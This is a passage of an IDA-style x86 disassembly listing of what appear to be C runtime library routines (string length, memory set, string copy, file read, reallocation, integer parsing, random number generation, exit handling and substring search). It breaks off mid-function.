		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409862
		mov	eax, [ebp+0B0h]
		add	esp, 28h
		shl	eax, 6
		inc	dword_431810[eax]
		push	1
		lea	eax, dword_431810[eax]
		pop	eax


loc_41B957:				; CODE XREF: ___:0041B7C9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B960	proc near		; CODE XREF: sub_401000+34p
					; ___:0040136Bp ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_41B980


loc_41B96C:				; CODE XREF: sub_41B960+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41B9B3
		test	ecx, 3
		jnz	short loc_41B96C
		add	eax, 0


loc_41B980:				; CODE XREF: sub_41B960+Aj
					; sub_41B960+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41B980
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41B9D1
		test	ah, ah
		jz	short loc_41B9C7
		test	eax, 0FF0000h
		jz	short loc_41B9BD
		test	eax, 0FF000000h
		jz	short loc_41B9B3
		jmp	short loc_41B980
; ---------------------------------------------------------------------------


loc_41B9B3:				; CODE XREF: sub_41B960+11j
					; sub_41B960+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41B9BD:				; CODE XREF: sub_41B960+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41B9C7:				; CODE XREF: sub_41B960+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41B9D1:				; CODE XREF: sub_41B960+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_41B960	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B9DB	proc near		; CODE XREF: sub_4010AB+64p
					; sub_401AC7+5856p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_41B9F0
		or	eax, 0FFFFFFFFh
		jmp	short loc_41BA2A
; ---------------------------------------------------------------------------


loc_41B9F0:				; CODE XREF: sub_41B9DB+Ej
		test	al, 83h
		jz	short loc_41BA28
		push	esi
		call	sub_41E32B
		push	esi
		mov	edi, eax
		call	sub_41E2C5
		push	dword ptr [esi+10h]
		call	sub_41E212
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_41BA16
		or	edi, 0FFFFFFFFh
		jmp	short loc_41BA28
; ---------------------------------------------------------------------------


loc_41BA16:				; CODE XREF: sub_41B9DB+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_41BA28
		push	eax
		call	sub_41BA31
		and	dword ptr [esi+1Ch], 0
		pop	ecx


loc_41BA28:				; CODE XREF: sub_41B9DB+17j
					; sub_41B9DB+39j ...
		mov	eax, edi


loc_41BA2A:				; CODE XREF: sub_41B9DB+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_41B9DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BA31	proc near		; CODE XREF: sub_4010AB+5Ep
					; sub_40A91C+B1p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_41BA5E
		push	esi
		call	sub_41E477
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_41BA50
		push	eax
		call	sub_41E4A2
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41BA50:				; CODE XREF: sub_41BA31+13j
		push	0
		push	dword_4DADA0
		nop
		call	near ptr 27C0000h


loc_41BA5E:				; CODE XREF: sub_41BA31+7j
		pop	esi
		retn
sub_41BA31	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BA60	proc near		; CODE XREF: sub_4010AB+45p
					; ___:0040FA57p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_41BA84
		xor	eax, eax
		jmp	loc_41BB2D
; ---------------------------------------------------------------------------


loc_41BA84:				; CODE XREF: sub_41BA60+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41BA97
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41BAA3
; ---------------------------------------------------------------------------


loc_41BA97:				; CODE XREF: sub_41BA60+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_41BAA3
; ---------------------------------------------------------------------------


loc_41BAA0:				; CODE XREF: sub_41BA60+C4j
		mov	ecx, [ebp+arg_0]


loc_41BAA3:				; CODE XREF: sub_41BA60+35j
					; sub_41BA60+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41BAD5
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41BAD5
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_41BABA
		mov	edi, eax


loc_41BABA:				; CODE XREF: sub_41BA60+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_41CAB0
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_41BB20
; ---------------------------------------------------------------------------


loc_41BAD5:				; CODE XREF: sub_41BA60+49j
					; sub_41BA60+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_41BB08
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_41BAEB
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx


loc_41BAEB:				; CODE XREF: sub_41BA60+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41F051
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41BB32
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41BB38
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_41BB20
; ---------------------------------------------------------------------------


loc_41BB08:				; CODE XREF: sub_41BA60+78j
		push	esi
		call	sub_41EF78
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41BB3C
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax


loc_41BB20:				; CODE XREF: sub_41BA60+73j
					; sub_41BA60+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_41BAA0
		mov	eax, [ebp+arg_8]


loc_41BB2D:				; CODE XREF: sub_41BA60+1Fj
					; sub_41BA60+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41BB32:				; CODE XREF: sub_41BA60+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_41BB3C
; ---------------------------------------------------------------------------


loc_41BB38:				; CODE XREF: sub_41BA60+9Fj
		or	dword ptr [esi+0Ch], 20h


loc_41BB3C:				; CODE XREF: sub_41BA60+B2j
					; sub_41BA60+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_41BB2D
sub_41BA60	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BB48	proc near		; CODE XREF: sub_4010AB+2Ep
					; sub_41D743+35p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	ebp
		push	esi
		test	ebx, ebx
		push	edi
		jnz	short loc_41BB63
		push	[esp+10h+arg_4]
		call	sub_41BC9B
		pop	ecx
		jmp	loc_41BC63
; ---------------------------------------------------------------------------


loc_41BB63:				; CODE XREF: sub_41BB48+Aj
		mov	esi, [esp+10h+arg_4]
		test	esi, esi
		jnz	short loc_41BB79
		push	ebx
		call	sub_41BA31
		pop	ecx


loc_41BB72:				; CODE XREF: sub_41BB48+114j
		xor	eax, eax
		jmp	loc_41BC63
; ---------------------------------------------------------------------------


loc_41BB79:				; CODE XREF: sub_41BB48+21j
					; sub_41BB48+10Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41BC44
		push	ebx
		call	sub_41E477
		mov	ebp, eax
		pop	ecx
		test	ebp, ebp
		jz	loc_41BC21
		cmp	esi, dword_43A67C
		ja	short loc_41BBE1
		push	esi
		push	ebx
		push	ebp
		call	sub_41EC82
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41BBB0
		mov	edi, ebx
		jmp	short loc_41BBD9
; ---------------------------------------------------------------------------


loc_41BBB0:				; CODE XREF: sub_41BB48+62j
		push	esi
		call	sub_41E7CD
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41BBE1
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41BBC7
		mov	eax, esi


loc_41BBC7:				; CODE XREF: sub_41BB48+7Bj
		push	eax
		push	ebx
		push	edi
		call	sub_41CAB0
		push	ebx
		push	ebp
		call	sub_41E4A2
		add	esp, 14h


loc_41BBD9:				; CODE XREF: sub_41BB48+66j
		test	edi, edi
		jnz	loc_41BC61


loc_41BBE1:				; CODE XREF: sub_41BB48+53j
					; sub_41BB48+73j
		test	esi, esi
		jnz	short loc_41BBE8
		push	1
		pop	esi


loc_41BBE8:				; CODE XREF: sub_41BB48+9Bj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_4DADA0
		nop
		call	near ptr 27D0000h
		mov	edi, eax
		test	edi, edi
		jz	short loc_41BC44
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41BC0D
		mov	eax, esi


loc_41BC0D:				; CODE XREF: sub_41BB48+C1j
		push	eax
		push	ebx
		push	edi
		call	sub_41CAB0
		push	ebx
		push	ebp
		call	sub_41E4A2
		add	esp, 14h
		jmp	short loc_41BC40
; ---------------------------------------------------------------------------


loc_41BC21:				; CODE XREF: sub_41BB48+47j
		test	esi, esi
		jnz	short loc_41BC28
		push	1
		pop	esi


loc_41BC28:				; CODE XREF: sub_41BB48+DBj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	ebx
		push	0
		push	dword_4DADA0
		call	near ptr 2860000h
		nop
		mov	edi, eax


loc_41BC40:				; CODE XREF: sub_41BB48+D7j
		test	edi, edi
		jnz	short loc_41BC61


loc_41BC44:				; CODE XREF: sub_41BB48+36j
					; sub_41BB48+B9j
		cmp	dword_4D9798, 0
		jz	short loc_41BC61
		push	esi
		call	sub_41F247
		test	eax, eax
		pop	ecx
		jnz	loc_41BB79
		jmp	loc_41BB72
; ---------------------------------------------------------------------------


loc_41BC61:				; CODE XREF: sub_41BB48+93j
					; sub_41BB48+FAj ...
		mov	eax, edi


loc_41BC63:				; CODE XREF: sub_41BB48+16j
					; sub_41BB48+2Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41BB48	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BC68	proc near		; CODE XREF: sub_41BC88+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_41F3D2
		test	eax, eax
		jnz	short loc_41BC72
		retn
; ---------------------------------------------------------------------------


loc_41BC72:				; CODE XREF: sub_41BC68+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41F262
		add	esp, 10h
		retn
sub_41BC68	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BC88	proc near		; CODE XREF: sub_4010AB+18p
					; sub_401AC7+582Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41BC68
		add	esp, 0Ch
		retn
sub_41BC88	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BC9B	proc near		; CODE XREF: sub_4010AB+6p
					; sub_40A91C+63p ...

arg_0		= dword	ptr  4

		push	dword_4D9798
		push	[esp+4+arg_0]
		call	sub_41BCAD
		pop	ecx
		pop	ecx
		retn
sub_41BC9B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BCAD	proc near		; CODE XREF: sub_41BC9B+Ap
					; sub_41D735+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_41BCD6


loc_41BCB4:				; CODE XREF: sub_41BCAD+27j
		push	[esp+arg_0]
		call	sub_41BCD9
		test	eax, eax
		pop	ecx
		jnz	short locret_41BCD8
		cmp	[esp+arg_4], eax
		jz	short locret_41BCD8
		push	[esp+arg_0]
		call	sub_41F247
		test	eax, eax
		pop	ecx
		jnz	short loc_41BCB4


loc_41BCD6:				; CODE XREF: sub_41BCAD+5j
		xor	eax, eax

locret_41BCD8:				; CODE XREF: sub_41BCAD+13j
					; sub_41BCAD+19j
		retn
sub_41BCAD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BCD9	proc near		; CODE XREF: sub_41BCAD+Bp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	esi, dword_43A67C
		ja	short loc_41BCF1
		push	esi
		call	sub_41E7CD
		test	eax, eax
		pop	ecx
		jnz	short loc_41BD0D


loc_41BCF1:				; CODE XREF: sub_41BCD9+Bj
		test	esi, esi
		jnz	short loc_41BCF8
		push	1
		pop	esi


loc_41BCF8:				; CODE XREF: sub_41BCD9+1Aj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_4DADA0
		nop
		call	near ptr 27D0000h


loc_41BD0D:				; CODE XREF: sub_41BCD9+16j
		pop	esi
		retn
sub_41BCD9	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BD10	proc near		; CODE XREF: sub_40111D+3Cp
					; sub_40111D+4Ap ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_41BD63
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_41BD57
		neg	ecx
		and	ecx, 3
		jz	short loc_41BD39
		sub	edx, ecx


loc_41BD33:				; CODE XREF: sub_41BD10+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_41BD33


loc_41BD39:				; CODE XREF: sub_41BD10+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_41BD57
		rep stosd
		test	edx, edx
		jz	short loc_41BD5D


loc_41BD57:				; CODE XREF: sub_41BD10+18j
					; sub_41BD10+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_41BD57


loc_41BD5D:				; CODE XREF: sub_41BD10+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BD63:				; CODE XREF: sub_41BD10+Aj
		mov	eax, [esp+arg_0]
		retn
sub_41BD10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BD70	proc near		; CODE XREF: ___:004016BAp
					; ___:004016D6p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_41BDF3
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_41BD94
		shr	ecx, 2
		jnz	short loc_41BE01
		jmp	short loc_41BDB5
; ---------------------------------------------------------------------------


loc_41BD94:				; CODE XREF: sub_41BD70+1Bj
					; sub_41BD70+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_41BDC2
		test	al, al
		jz	short loc_41BDCA
		test	esi, 3
		jnz	short loc_41BD94
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41BE01


loc_41BDB0:				; CODE XREF: sub_41BD70+8Fj
		and	ebx, 3
		jz	short loc_41BDC2


loc_41BDB5:				; CODE XREF: sub_41BD70+22j
					; sub_41BD70+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_41BDEE
		dec	ebx
		jnz	short loc_41BDB5


loc_41BDC2:				; CODE XREF: sub_41BD70+2Bj
					; sub_41BD70+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BDCA:				; CODE XREF: sub_41BD70+2Fj
		test	edi, 3
		jz	short loc_41BDE4


loc_41BDD2:				; CODE XREF: sub_41BD70+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_41BE66
		test	edi, 3
		jnz	short loc_41BDD2


loc_41BDE4:				; CODE XREF: sub_41BD70+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41BE57


loc_41BDEB:				; CODE XREF: sub_41BD70+7Fj
					; sub_41BD70+F4j
		mov	[edi], al
		inc	edi


loc_41BDEE:				; CODE XREF: sub_41BD70+4Dj
		dec	ebx
		jnz	short loc_41BDEB
		pop	ebx
		pop	esi


loc_41BDF3:				; CODE XREF: sub_41BD70+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BDF9:				; CODE XREF: sub_41BD70+A9j
					; sub_41BD70+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41BDB0


loc_41BE01:				; CODE XREF: sub_41BD70+20j
					; sub_41BD70+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41BDF9
		test	dl, dl
		jz	short loc_41BE4B
		test	dh, dh
		jz	short loc_41BE41
		test	edx, 0FF0000h
		jz	short loc_41BE37
		test	edx, 0FF000000h
		jnz	short loc_41BDF9
		mov	[edi], edx
		jmp	short loc_41BE4F
; ---------------------------------------------------------------------------


loc_41BE37:				; CODE XREF: sub_41BD70+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_41BE4F
; ---------------------------------------------------------------------------


loc_41BE41:				; CODE XREF: sub_41BD70+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_41BE4F
; ---------------------------------------------------------------------------


loc_41BE4B:				; CODE XREF: sub_41BD70+ADj
		xor	edx, edx
		mov	[edi], edx


loc_41BE4F:				; CODE XREF: sub_41BD70+C5j
					; sub_41BD70+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_41BE61


loc_41BE57:				; CODE XREF: sub_41BD70+79j
		xor	eax, eax


loc_41BE59:				; CODE XREF: sub_41BD70+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_41BE59


loc_41BE61:				; CODE XREF: sub_41BD70+E5j
		and	ebx, 3
		jnz	short loc_41BDEB


loc_41BE66:				; CODE XREF: sub_41BD70+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41BD70	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BE6E	proc near		; CODE XREF: sub_41BEF9+4p
					; sub_4246FC+1A2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]


loc_41BE76:				; CODE XREF: sub_41BE6E+34j
		cmp	dword_43A88C, 1
		jle	short loc_41BE8E
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_41F44A
		pop	ecx
		pop	ecx
		jmp	short loc_41BE9D
; ---------------------------------------------------------------------------


loc_41BE8E:				; CODE XREF: sub_41BE6E+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_43A680
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41BE9D:				; CODE XREF: sub_41BE6E+1Ej
		test	eax, eax
		jz	short loc_41BEA4
		inc	edi
		jmp	short loc_41BE76
; ---------------------------------------------------------------------------


loc_41BEA4:				; CODE XREF: sub_41BE6E+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_41BEB4
		cmp	esi, 2Bh
		jnz	short loc_41BEB8


loc_41BEB4:				; CODE XREF: sub_41BE6E+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi


loc_41BEB8:				; CODE XREF: sub_41BE6E+44j
		xor	ebx, ebx


loc_41BEBA:				; CODE XREF: sub_41BE6E+7Bj
		cmp	dword_43A88C, 1
		jle	short loc_41BECF
		push	4
		push	esi
		call	sub_41F44A
		pop	ecx
		pop	ecx
		jmp	short loc_41BEDA
; ---------------------------------------------------------------------------


loc_41BECF:				; CODE XREF: sub_41BE6E+53j
		mov	eax, off_43A680
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41BEDA:				; CODE XREF: sub_41BE6E+5Fj
		test	eax, eax
		jz	short loc_41BEEB
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_41BEBA
; ---------------------------------------------------------------------------


loc_41BEEB:				; CODE XREF: sub_41BE6E+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_41BEF4
		neg	eax


loc_41BEF4:				; CODE XREF: sub_41BE6E+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41BE6E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BEF9	proc near		; CODE XREF: ___:00401524p
					; sub_401AC7+711p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41BE6E
		pop	ecx
		retn
sub_41BEF9	endp

; ---------------------------------------------------------------------------
		mov	eax, off_43A64C
		test	eax, eax
		jz	short loc_41BF0F
		call	eax ; sub_41CEB4


loc_41BF0F:				; CODE XREF: ___:0041BF0Bj
		push	offset dword_42902C
		push	offset dword_429018
		call	sub_41BFEC
		push	offset dword_429014
		push	offset dword_429000
		call	sub_41BFEC
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		push	0
		push	0
		push	dword ptr [esp+0Ch]
		call	sub_41BF53
		add	esp, 0Ch
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41BF42	proc near		; CODE XREF: sub_41E1C9+1Cp
					; sub_42249C+2246p ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_41BF53
		add	esp, 0Ch
		retn
sub_41BF42	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BF53	proc near		; CODE XREF: ___:0041BF39p
					; sub_41BF42+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	dword_4D975C, edi
		jnz	short loc_41BF70
		push	[esp+4+arg_0]
		nop
		call	near ptr 27205DFh
		push	eax
		nop
		call	near ptr 2710E8Eh


loc_41BF70:				; CODE XREF: sub_41BF53+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	dword_4D9758, edi
		mov	byte_4D9754, bl
		jnz	short loc_41BFC4
		mov	eax, dword_4DADB4
		test	eax, eax
		jz	short loc_41BFB3
		mov	ecx, dword_4DADB0
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_41BFB2


loc_41BF9F:				; CODE XREF: sub_41BF53+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41BFA7
		call	eax


loc_41BFA7:				; CODE XREF: sub_41BF53+50j
		sub	esi, 4
		cmp	esi, dword_4DADB4
		jnb	short loc_41BF9F


loc_41BFB2:				; CODE XREF: sub_41BF53+4Aj
		pop	esi


loc_41BFB3:				; CODE XREF: sub_41BF53+3Cj
		push	offset dword_429038
		push	offset dword_429030
		call	sub_41BFEC
		pop	ecx
		pop	ecx


loc_41BFC4:				; CODE XREF: sub_41BF53+33j
		push	offset dword_429044
		push	offset dword_42903C
		call	sub_41BFEC
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_41BFEA
		push	[esp+4+arg_0]
		mov	dword_4D975C, edi
		call	near ptr 77E75CB5h
		nop


loc_41BFEA:				; CODE XREF: sub_41BF53+85j
		pop	edi
		retn
sub_41BF53	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BFEC	proc near		; CODE XREF: ___:0041BF19p
					; ___:0041BF28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_41BFF1:				; CODE XREF: sub_41BFEC+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_41C004
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41BFFF
		call	eax


loc_41BFFF:				; CODE XREF: sub_41BFEC+Fj
		add	esi, 4
		jmp	short loc_41BFF1
; ---------------------------------------------------------------------------


loc_41C004:				; CODE XREF: sub_41BFEC+9j
		pop	esi
		retn
sub_41BFEC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C006	proc near		; CODE XREF: ___:004013ADp
					; ___:004014B3p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_41F5D4
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41C046
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41C053
; ---------------------------------------------------------------------------


loc_41C046:				; CODE XREF: sub_41C006+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F4BF
		pop	ecx
		pop	ecx


loc_41C053:				; CODE XREF: sub_41C006+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41C006	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C058	proc near		; CODE XREF: ___:00401266p
					; sub_401AC7+318Dp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_43A630, eax
		retn
sub_41C058	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C062	proc near		; CODE XREF: ___:loc_401376p
					; ___:loc_4016A1p ...
		mov	eax, dword_43A630
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	dword_43A630, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_41C062	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C080	proc near		; CODE XREF: ___:0040134Bp
					; sub_401AC7+8Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_41C0FA
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_41C0E7


loc_41C098:				; CODE XREF: sub_41C080+52j
					; sub_41C080+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_41C0BA
		test	al, al
		jz	short loc_41C0B4


loc_41C0A9:				; CODE XREF: sub_41C080+32j
		mov	al, [esi]
		inc	esi


loc_41C0AC:				; CODE XREF: sub_41C080+3Fj
		cmp	al, dl
		jz	short loc_41C0BA
		test	al, al
		jnz	short loc_41C0A9


loc_41C0B4:				; CODE XREF: sub_41C080+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41C0BA:				; CODE XREF: sub_41C080+23j
					; sub_41C080+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_41C0AC
		lea	edi, [esi-1]


loc_41C0C4:				; CODE XREF: sub_41C080+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_41C0F3
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_41C098
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_41C0F3
